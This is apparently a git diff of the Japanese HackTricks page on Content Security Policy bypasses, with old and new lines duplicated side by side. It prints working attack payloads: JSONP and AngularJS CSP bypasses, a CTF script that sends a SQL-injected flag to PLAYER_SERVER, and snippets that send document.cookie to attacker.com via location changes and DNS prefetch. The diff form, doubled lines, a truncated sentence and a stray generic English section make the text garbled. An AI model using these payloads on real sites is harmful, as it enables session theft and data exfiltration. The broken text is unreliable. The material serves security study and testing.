**他のAngularバイパスを見つける** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **他のAngularバイパスを見つける** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -367,7 +375,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none
``` ```
## CSPバイパス ## CSPバイパス
Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックに関する詳細な情報は、[このgitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)で利用可能な詳細なガイドで確認できます Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックの詳細については、[このgitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)で利用可能な詳細ガイドを参照してください
```html ```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script> ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -377,13 +385,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
``` ```
他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(一部は削除されたり修正されたりしました) 他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(一部は削除されたり修正されたりしました)
### リダイレクト経由のバイパス ### リダイレクトを介したバイパス
CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか リダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。 CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか リダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。
ただし、[CSP仕様4.2.2.3. パスとリダイレクト](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。 ただし、[CSP仕様4.2.2.3. パスとリダイレクト](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。
以下は例です: 以下に例を示します:
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -399,9 +407,9 @@ CSPがサーバーサイドのリダイレクトに遭遇した場合、どう
</body> </body>
</html> </html>
``` ```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`と`/a/test`のスクリプトはどちらもCSPによってブロックされます。 CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`と`/a/test`のスクリプトはCSPによってブロックされます。
ただし、最終的な`http://localhost:5555/301`は**サーバーサイドで`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。これはリダイレクトであるため、**パスは考慮されず、スクリプトがロードされる**ため、パス制限をバイパスできます。 ただし、最終的な`http://localhost:5555/301`は**サーバーサイドで`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。これはリダイレクトなので、**パスは考慮されず、スクリプトがロードされる**ため、パス制限をバイパスできます。
このリダイレクトにより、パスが完全に指定されていてもバイパスされます。 このリダイレクトにより、パスが完全に指定されていてもバイパスされます。
@ -417,17 +425,17 @@ default-src 'self' 'unsafe-inline'; img-src *;
``` ```
`'unsafe-inline'` は、コード内で任意のスクリプトを実行できることを意味しXSS がコードを実行できる)、`img-src *` は、任意のリソースからの画像をウェブページで使用できることを意味します。 `'unsafe-inline'` は、コード内で任意のスクリプトを実行できることを意味しXSS がコードを実行できる)、`img-src *` は、任意のリソースからの画像をウェブページで使用できることを意味します。
この CSP は、画像を介してデータを外部に送信することで回避できますこの場合、XSS が CSRF を悪用し、ボットによってアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します): この CSP は、画像を介してデータを外部に持ち出すことでバイパスできますこの場合、XSS が CSRF を悪用し、ボットがアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します):
```javascript ```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script> <script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
``` ```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを実行し、**画像を読み込み**、そこからJSを**抽出**して**実行**することができます: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用してJSコード通常のXSSとしてを実行し、**画像を読み込み**、そこからJSを**抽出**して**実行**することができます[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workersを使用する ### Service Workersを使用する
Service Workersの**`importScripts`**関数はCSPに制限されません: Service Workersの**`importScripts`**関数はCSPに制限されません
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} {% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md) [abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@ -439,7 +447,7 @@ Service Workersの**`importScripts`**関数はCSPに制限されません:
#### Chrome #### Chrome
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシー**をいくつかの方法で**無効にする**ように変更できます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline'**を許可できます: あなたが送信した**パラメータ**が**ポリシーの宣言**の**に貼り付けられている**場合、**ポリシー**を**無効にする**方法で**ポリシーを変更**できます。これらのバイパスのいずれかを使用して、スクリプトを'unsafe-inline'に**許可**することができます:
```bash ```bash
script-src-elem *; script-src-attr * script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -449,15 +457,15 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
#### Edge #### Edge
Edgeでは、これだけをCSPに追加できれば**`;_`**、**Edge**は**ポリシー全体を無効に**します。\ Edgeでは、CSPにこれだけ追加できれば**`;_`**、**Edge**は**ポリシー全体を無効に**します。\
例: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E) 例: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; XSS経由での攻撃 (iframe) - タイムアタック ### img-src \*; XSS経由での攻撃 (iframe) - タイムアタック
ディレクティブ`'unsafe-inline'`が欠けていることに注意してください。\ ディレクティブ`'unsafe-inline'`が欠けていることに注意してください。\
今回は、被害者に**XSS**を介して**あなたの制御下のページ**を**読み込ませる**ことができます。この時、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、ページが読み込むのに必要な時間を**制御**できれば、必要な情報を抽出できます。 今回は、被害者に**あなたの制御下のページ**を**XSS**経由で読み込ませることができます。この時、被害者に情報を取得したいページにアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、ページの読み込みにかかる時間を**制御**できれば必要な情報を抽出できます。
今回は、**フラグ**が抽出され、**SQLi**を介して**文字が正しく推測されるたびに**応答が**スリープ関数により遅くなる**ため、フラグを抽出できます。 今回は、**フラグ**が抽出されます。**charが正しく推測されるたびに**SQLi経由で**応答**に**スリープ関数**があるため**時間がかかり**ます。その後、フラグを抽出できます:
```html ```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload <iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -517,15 +525,15 @@ console.log(prefix);
run(); run();
</script> </script>
``` ```
### ブックマークレットを介した攻撃 ### ブックマークレット経由
この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。 この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの**機密情報を盗み出す**ことができます。
詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 詳細は[**こちらのオリジナルレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### CSP制限によるCSPバイパス ### CSP制限によるCSPバイパス
[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。 [**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して**任意のスクリプトを読み込む**ことが可能になりました。
IframeのCSPを**`csp`**属性で**制限**することができます: IframeのCSPを**`csp`**属性で**制限**することができます:
@ -536,7 +544,7 @@ IframeのCSPを**`csp`**属性で**制限**することができます:
{% endcode %} {% endcode %}
[**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\ [**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\
CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**削除**され、**nonce**を許可する**エントリ**が削除され、**特定のインラインスクリプトをsha経由で有効にできます**: CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**エントリを削除**することで無効化でき、その後、**nonce**を許可し、**sha**を使用して特定のインラインスクリプトを有効にできます。
```html ```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self' <meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic' 'unsafe-eval' 'strict-dynamic'
@ -545,7 +553,7 @@ CSPは**HTMLメタタグ**を使用してより制限的に設定でき、イン
``` ```
### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出 ### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出
サーバーがヘッダー**`Content-Security-Policy-Report-Only`**を**あなたが制御する値**で応答するようにできればCRLFのためかもしれません、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**`<script>`**CSP`unsafe-inline`CSP`Content-Security-Policy-Report-Only` サーバーがヘッダー**`Content-Security-Policy-Report-Only`**を**あなたが制御する値**で応答するようにできればCRLFのためかもしれません、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**`<script>`**CSP`unsafe-inline`CSP`Content-Security-Policy-Report-Only`
例として、[**このCTF解説**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)を参照してください。 例として、[**このCTF解説**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)を参照してください。
@ -555,19 +563,19 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
``` ```
### CSPとIframeを使用した情報漏洩 ### CSPとIframeを使用した情報漏洩
- CSP許可されているURL`https://example.redirect.com`と呼びましょう)を指す`iframe`が作成されます。 - CSP許可されているURL`https://example.redirect.com`と呼びましょう)を指す`iframe`が作成されます。
- このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトします。 - このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトします。
- `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、初期のURLがリダイレクトされた秘密のドメインを漏洩させます。 - `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、初期のURLがリダイレクトされた秘密のドメインを漏洩させます。
興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動によって機密情報が漏洩する可能性がある点です。 興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことで、未定義の挙動による機密情報の漏洩が起こる可能性がある点です。
別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、二分探索アルゴリズムに依存し、CSPを調整して特定のドメインを含めることで、意図的にブロックされた特定のドメインをテストします。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです 別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、バイナリサーチアルゴリズムに依存し、CSPを調整して故意にブロックされた特定のドメインを含めることによって、秘密のサブドメインを推測します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整し、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです
```markdown ```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
``` ```
CSP によってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全な URL を明らかにすることができます。 CSP によってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全な URL を明らかにすることができます。
両方の方法は、CSP の実装とブラウザの動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。 両方の方法は、ブラウザでの CSP の実装と動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。
[**こちら**](https://ctftime.org/writeup/29310)からのトリック。 [**こちら**](https://ctftime.org/writeup/29310)からのトリック。
@ -581,8 +589,8 @@ CSP によってブロックまたは許可されるリクエストを監視す
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースを維持 リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースを維持
**最新のお知らせ**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手 最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)** で私たちに参加し、今日からトップハッカーと協力を始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy)** で私たちに参加し、今日からトップハッカーと協力を始めましょう!
@ -591,7 +599,7 @@ CSP によってブロックまたは許可されるリクエストを監視す
### PHP レスポンスバッファの過負荷 ### PHP レスポンスバッファの過負荷
PHP はデフォルトでレスポンスを 4096 バイトまでバッファリングすることで知られています。そのため、PHP が警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSP ヘッダー**の**前に送信**され、ヘッダーが無視されるようになります。\ PHP はデフォルトでレスポンスを 4096 バイトまでバッファリングすることで知られています。そのため、PHP が警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSP ヘッダー**の**前に送信**され、ヘッダーが無視されるようになります。\
その後、このテクニックは基本的に、**警告でレスポンスバッファを埋める**ことで、CSP ヘッダーが送信されないようにするというものです。 その後、この技術は基本的に、**警告でレスポンスバッファを埋める**ことによって、CSP ヘッダーが送信されないようにするというものです。
[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。 [**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
@ -606,16 +614,16 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
``` ```
### SOME + 'self' + wordpress ### SOME + 'self' + wordpress
SOMEは、**ページのエンドポイント**でのXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、**脆弱なエンドポイント**は**`opener`**オブジェクトを**ペイロード**で使用して、**悪用したい実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください: SOMEは、**ページのエンドポイント**でのXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、**脆弱なエンドポイント**は**`opener`**オブジェクトを**ペイロード**で使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を参照してください:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %} {% endcontent-ref %}
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`にJSONPエンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限付き)。 さらに、**WordPress**には、`/wp-json/wp/v2/users/1?_jsonp=data`にある**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限付き)。
攻撃者は、のエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**脆弱な** **コールバック**エンドポイントを通じて**CSPをバイパス**してユーザーにより多くの権を与えたり、新しいプラグインをインストールしたりする可能性があります。\ 攻撃者は、のエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は、**CSPをバイパス**してユーザーにより多くの権を与えたり、新しいプラグインをインストールしたりするために、**脆弱な** **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。\
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。 この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。
## CSP Exfiltration Bypasses ## CSP Exfiltration Bypasses
@ -623,7 +631,7 @@ SOMEは、**ページのエンドポイント**でのXSSまたは非常に制
### Location ### Location
単に場所を更新して、秘密情報を攻撃者のサーバーに送信することができます: 単に**ロケーションを更新**して、秘密情報を攻撃者のサーバーに送信することができます:
```javascript ```javascript
var sessionid = document.cookie.split('=')[1]+"."; var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid; document.location = "https://attacker.com/?" + sessionid;
@ -639,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid;
ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\ ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決するよう指示することができます: `<link reol="dns-prefetch" href="something.com">` ブラウザにホスト名を事前解決するよう指示することができます: `<link reol="dns-prefetch" href="something.com">`
を悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。 の動作を悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。
```javascript ```javascript
var sessionid = document.cookie.split('=')[1]+"."; var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0]; var body = document.getElementsByTagName('body')[0];
@ -647,23 +655,27 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
``` ```
## Content Security Policy (CSP) Bypass ## Content Security Policy (CSP) Bypass
### Bypassing CSP using `script-src` ### Bypassing CSP using `unsafe-inline`
One way to bypass CSP is by exploiting the `script-src` directive. If the CSP policy allows scripts from a specific domain, an attacker can host a malicious script on that domain and execute it on the target website. One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP.
To bypass this protection, an attacker can host a malicious script on a whitelisted domain and then execute it on the target website. To bypass CSP using `unsafe-inline`, you can inject your malicious code directly into the HTML document, and it will be executed despite the CSP policy.
### Bypassing CSP using Data URI ### Bypassing CSP using data: URIs
Another way to bypass CSP is by using Data URI. By encoding the malicious script into a Data URI format, the attacker can embed the script directly into the HTML code of the target website, bypassing the CSP restrictions. Another way to bypass CSP is by using data: URIs. By encoding your malicious script into a data URI format, you can bypass CSP restrictions on inline scripts.
To bypass CSP using Data URI, the attacker can craft a Data URI payload containing the malicious script and inject it into the target website's HTML code. To bypass CSP using data: URIs, you can create a data URI with your malicious script and then inject it into the document. This technique allows you to execute scripts inline without triggering CSP violations.
### Bypassing CSP using Trusted Types ### Bypassing CSP using XSS
If the target website implements Trusted Types as an additional security measure, an attacker can bypass CSP by exploiting vulnerabilities in the Trusted Types policy. By finding a way to bypass or disable Trusted Types, the attacker can execute malicious scripts on the target website, even if CSP is in place. Cross-Site Scripting (XSS) vulnerabilities can also be used to bypass CSP. By exploiting an XSS vulnerability on a website, an attacker can execute arbitrary scripts in the context of that site, bypassing the CSP restrictions.
To bypass CSP using Trusted Types, the attacker needs to identify and exploit vulnerabilities in the Trusted Types implementation to execute arbitrary scripts on the target website. To bypass CSP using XSS, you would first need to identify and exploit an XSS vulnerability on the target site. Once the vulnerability is exploited, you can inject and execute your malicious scripts, bypassing the CSP policy.
### Conclusion
Content Security Policy (CSP) is a powerful security feature that helps protect websites from various types of attacks. However, as demonstrated above, there are several ways to bypass CSP and execute malicious scripts on a website. It is important for website owners to understand these bypass techniques and implement additional security measures to mitigate the risk of CSP bypass attacks.
```javascript ```javascript
const linkEl = document.createElement('link'); const linkEl = document.createElement('link');
linkEl.rel = 'prefetch'; linkEl.rel = 'prefetch';
@ -728,23 +740,23 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムのハックニュース**\ **リアルタイムのハックニュース**\
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう
**最新の発表**\ **最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう! [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**</strong>**ゼロからヒーローまでのAWSハッキングを学びましょう**</summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks****HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>

View file

@ -7,8 +7,8 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
